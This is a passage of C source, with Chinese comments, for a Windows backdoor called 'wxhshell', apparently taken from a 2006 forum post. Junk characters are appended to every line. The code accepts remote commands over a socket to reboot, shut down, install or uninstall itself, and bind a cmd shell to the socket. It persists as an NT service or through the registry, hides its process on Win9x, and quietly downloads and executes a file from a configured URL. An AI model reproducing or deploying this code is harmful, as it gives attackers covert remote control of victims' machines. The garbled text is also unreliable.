    switch(cmd[0]) { wCB*v<*  
  v={{ $=/t  
  // 帮助 KDq="=q  
  case '?': { o~IAZU39  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LK~aLa5wG  
    break; 8ROKfPj;z  
  } p8_^6wfg  
  // 安装 ]*\MIz{56'  
  case 'i': { hj9TiH/+  
    if(Install()) Td|u@l4B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GQn:lu3j:  
    else o+A1-&qhN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W&*&O,c  
    break; z{ :;Rb  
    } 'R79,)|;[  
  // 卸载 :xPo*#[Z(A  
  case 'r': { "mW'tm1+  
    if(Uninstall()) oNAnJ+_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); igfQ,LWe!  
    else Oh*~+/u}q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r |C.K  
    break; 05 q760I+  
    } BsIF3sS#9  
  // 显示 wxhshell 所在路径 [~ s+,OO9)  
  case 'p': { QDg5B6>$  
    char svExeFile[MAX_PATH]; @@Ybg6.+*  
    strcpy(svExeFile,"\n\r"); N3|:MMl  
      strcat(svExeFile,ExeFile); $u!(F]^  
        send(wsh,svExeFile,strlen(svExeFile),0); 1+; bd'Ie  
    break; }} =n]_f  
    } E]OexRJ^i  
  // 重启 /'rj L<M  
  case 'b': { p2Ep(0w,R5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v'@gUgC  
    if(Boot(REBOOT)) _xaum  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {r&mNbz  
    else { #ODP+>-IjB  
    closesocket(wsh); T>& q8'lD  
    ExitThread(0); 2{rWAPHgz  
    } &-yRa45?  
    break; DQQ]grU  
    } 6DHK&<=D8  
  // 关机 SN}K=)KF#  
  case 'd': { mrP48#Y+l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S{+t>en  
    if(Boot(SHUTDOWN)) x|0C0a\"A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lPR=C0h}@  
    else { szsVk#p  
    closesocket(wsh); 9&eY<'MgP  
    ExitThread(0); c`!e#w  
    } \34vE@V*  
    break; XIl <rN@-  
    } Jw;~$  
  // 获取shell @*YF!LdU{M  
  case 's': {  !Ld5Y$  
    CmdShell(wsh); u /F!8#  
    closesocket(wsh); 8!{*!|Xd  
    ExitThread(0); 2<EV iP9  
    break; ?}cmES kX@  
  } "[_j8,t`  
  // 退出 .`OU\LA  
  case 'x': { F}_b7 |^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;'n%\*+fHH  
    CloseIt(wsh); =GX5T(P8k  
    break; +#FqC/`l  
    } 7 m{lOR  
  // 离开 !cyrt<  
  case 'q': { '? 5-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^5sA*%T4  
    closesocket(wsh); PXMd=,}  
    WSACleanup(); w.?4}'DK  
    exit(1); vhfjZ  
    break; ]].~/kC^3k  
        } t`Z'TqP R  
  } %GhI0F #  
  } M}\h?s   
kK[4uQQ  
  // 提示信息 Pao^>rj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > <YU'>%  
} @|b-X? `  
  } eP-|3$  
|UXSUP @s  
  return; +F8{4^w1  
} z{rV|vQ  
-#|;qFD]  
// shell模块句柄 lmeTW0U@9(  
int CmdShell(SOCKET sock) tAAMSb9[d  
{ n~I-mR)"  
STARTUPINFO si; Z}+}X|  
ZeroMemory(&si,sizeof(si)); z\]Z/Bz:6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NU=ru/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HOP*QX8C%  
PROCESS_INFORMATION ProcessInfo; g< j)  
char cmdline[]="cmd"; w|9 >4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "2cOSPpQL  
  return 0; FH,]'  
} $tmdE )"&  
7iP+!e}$.  
// 自身启动模式 o}rG:rhIh  
int StartFromService(void) h9)S&Sk{s  
{ ybBmg'198  
typedef struct {18hzhs  
{ tMxd e+ $y  
  DWORD ExitStatus; ZxF`i>/h  
  DWORD PebBaseAddress; ;4rhh h&  
  DWORD AffinityMask; @_+aX.,  
  DWORD BasePriority;  q+L'h8  
  ULONG UniqueProcessId; k1wIb']m]z  
  ULONG InheritedFromUniqueProcessId; ` B)@  
}   PROCESS_BASIC_INFORMATION; I&1Lm)W&  
l0Q5q)U1A  
PROCNTQSIP NtQueryInformationProcess; E-z5mX.2  
Vu$m1,/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bk0>f   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pa>C}jk}6  
53i]Q;k[  
  HANDLE             hProcess; C"I jr=w  
  PROCESS_BASIC_INFORMATION pbi; t(z]4y  
2&1mI>:F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2aYBcPFQh#  
  if(NULL == hInst ) return 0; ot}erC2~  
mku@n;Hl_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v;]rFc#Px[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $mQ0w~:@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h&0zR#t  
cC/h7o dY  
  if (!NtQueryInformationProcess) return 0; PgkU~68`  
Ob$``31{s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w(oK   
  if(!hProcess) return 0; WNyW1?"  
\,#$,dUXD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l\UjvG  
mwAN9<o  
  CloseHandle(hProcess); }S> 4.8  
'UlVc2%{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  &K/?#  
if(hProcess==NULL) return 0; i7Qb~RW  
KQ\K :#  
HMODULE hMod; .#( vx;  
char procName[255]; Q-<]'E#\(  
unsigned long cbNeeded; 6 5g ovor  
%f]#P8V P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y[_k/.1  
_;HdX$op  
  CloseHandle(hProcess); '(vZfzc{J  
oIhKMQ;jh  
if(strstr(procName,"services")) return 1; // 以服务启动 ?bZH Aed  
?N Mk|+  
  return 0; // 注册表启动 0m_yW$w  
} )3h\QE!z  
sYKx 3[V/  
// 主模块 AQ,lLn+  
int StartWxhshell(LPSTR lpCmdLine) ;(i6 X)  
{  +mocSx[  
  SOCKET wsl; <M:BN6-yG  
BOOL val=TRUE; 7e"}ojt$  
  int port=0; 8['R D`O  
  struct sockaddr_in door; .+:iAnf  
Q#eMwM#~  
  if(wscfg.ws_autoins) Install(); T[\1=h]  
HI8mNX3 "j  
port=atoi(lpCmdLine); '`jGr+K,wU  
:v^/k]S  
if(port<=0) port=wscfg.ws_port; D3o,2E(o  
> 80{n8  
  WSADATA data; /!5Wd(:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ] ?DU8  
m{q'RAw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (:l6R9'=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5JzvT JMx  
  door.sin_family = AF_INET; n>'(d*[e&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S=qh7ML  
  door.sin_port = htons(port); KF rsXf  
$)M3fZ$#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )iN;1>  
closesocket(wsl); f}-'67*Y  
return 1; <i~xJi%1#  
} NUsxMhP  
;.}L# '0j  
  if(listen(wsl,2) == INVALID_SOCKET) { +x%u?ZR  
closesocket(wsl); &_L@hsm  
return 1; Ju+3}  
} /oPW0of  
  Wxhshell(wsl); w#.3na  
  WSACleanup(); "Z@P&jl  
#T7v]@K67  
return 0; 3ahriZe  
Tz,-~mc  
} ob7'''i  
w'@gzK  
// 以NT服务方式启动 3%POTAw%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "| '~y}v_  
{ ]Uv,}W  
DWORD   status = 0; 0%f}Q7*R  
  DWORD   specificError = 0xfffffff; qk& F>6<9*  
{hS!IOM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rpn<"LIoB:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k(ouE|B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^>|ZN2  
  serviceStatus.dwWin32ExitCode     = 0; (5$Ge$  
  serviceStatus.dwServiceSpecificExitCode = 0; Z ]A |"6<  
  serviceStatus.dwCheckPoint       = 0; XM]m%I  
  serviceStatus.dwWaitHint       = 0; t&U9Z$LS  
d.&_j`\F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T<]{:\*n  
  if (hServiceStatusHandle==0) return; WDc[+Xyw  
XFhH+4#]  
status = GetLastError(); 2!%)_<  
  if (status!=NO_ERROR) 3bRxV @0.  
{ Gk:fw#R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NM. e4  
    serviceStatus.dwCheckPoint       = 0; +g1>h ,K 3  
    serviceStatus.dwWaitHint       = 0; H!;N0",]N  
    serviceStatus.dwWin32ExitCode     = status; oG,>Pk  
    serviceStatus.dwServiceSpecificExitCode = specificError; O,%UNjx9K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mE~ WE+lw9  
    return; jF6_yw  
  } Jn hdZa  
{~apY,3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r5j$FwY  
  serviceStatus.dwCheckPoint       = 0; G$C2?|V)=  
  serviceStatus.dwWaitHint       = 0; %FjUtB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *BKD5EwS  
} {K|?i9K  
N'b GL%  
// 处理NT服务事件,比如:启动、停止 1H-Wk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eT%x(P  
{ D,IT>^[^7  
switch(fdwControl) HlE8AbEg  
{ J&6p/'UPZ  
case SERVICE_CONTROL_STOP: p3P8@M  
  serviceStatus.dwWin32ExitCode = 0; P& 1$SWNyW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w:zo \  
  serviceStatus.dwCheckPoint   = 0; <K)]kf  
  serviceStatus.dwWaitHint     = 0; zjoo;(?D|  
  { J6#h~fpv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); . X!!dx1<  
  } 75\ZD-{T:  
  return; "~Fg-{jM%  
case SERVICE_CONTROL_PAUSE: INnd TF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #Y= A#Yz,{  
  break; 2|k$Vfz  
case SERVICE_CONTROL_CONTINUE: t jM9EP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rxp|[>O<  
  break; %M x|"ff  
case SERVICE_CONTROL_INTERROGATE: q^[t</_ N  
  break; e;6:U85LS  
}; `}Y)l:G*g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AE~zm tW  
} )WvKRp r  
CaYb}.:AX  
// 标准应用程序主函数 e=LrgRy+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )?{<Tt@  
{ HxbzFu?h  
 %lj5Olj  
// 获取操作系统版本 s_ZPo6p  
OsIsNt=GetOsVer(); ~ZafTCa;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2P:X_:`~[  
->ZP.7  
  // 从命令行安装 s8 WB!x{t  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y%i<~"k  
56C8)?  
  // 下载执行文件 mAlG }<  
if(wscfg.ws_downexe) { K+Him] b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yl$Ko  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1ZF KLI`V  
} !w7/G  
u-~ec{oBu  
if(!OsIsNt) { [Fh YQI  
// 如果时win9x,隐藏进程并且设置为注册表启动 +c8`N'~  
HideProc(); |k~AGc  
StartWxhshell(lpCmdLine); [>NMuwtG  
} %Za}q]?  
else IYn`&jS{  
  if(StartFromService()) )B]"""J  
  // 以服务方式启动 wXQu%F3  
  StartServiceCtrlDispatcher(DispatchTable); ~2* LWH*@  
else r (m3"Xu6O  
  // 普通方式启动 3?E7\\/R  
  StartWxhshell(lpCmdLine); B2r[oT R  
Wl3S]4A  
return 0; 4$^mLD$>  
}
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只看该作者 1 发表于: 2006-10-10
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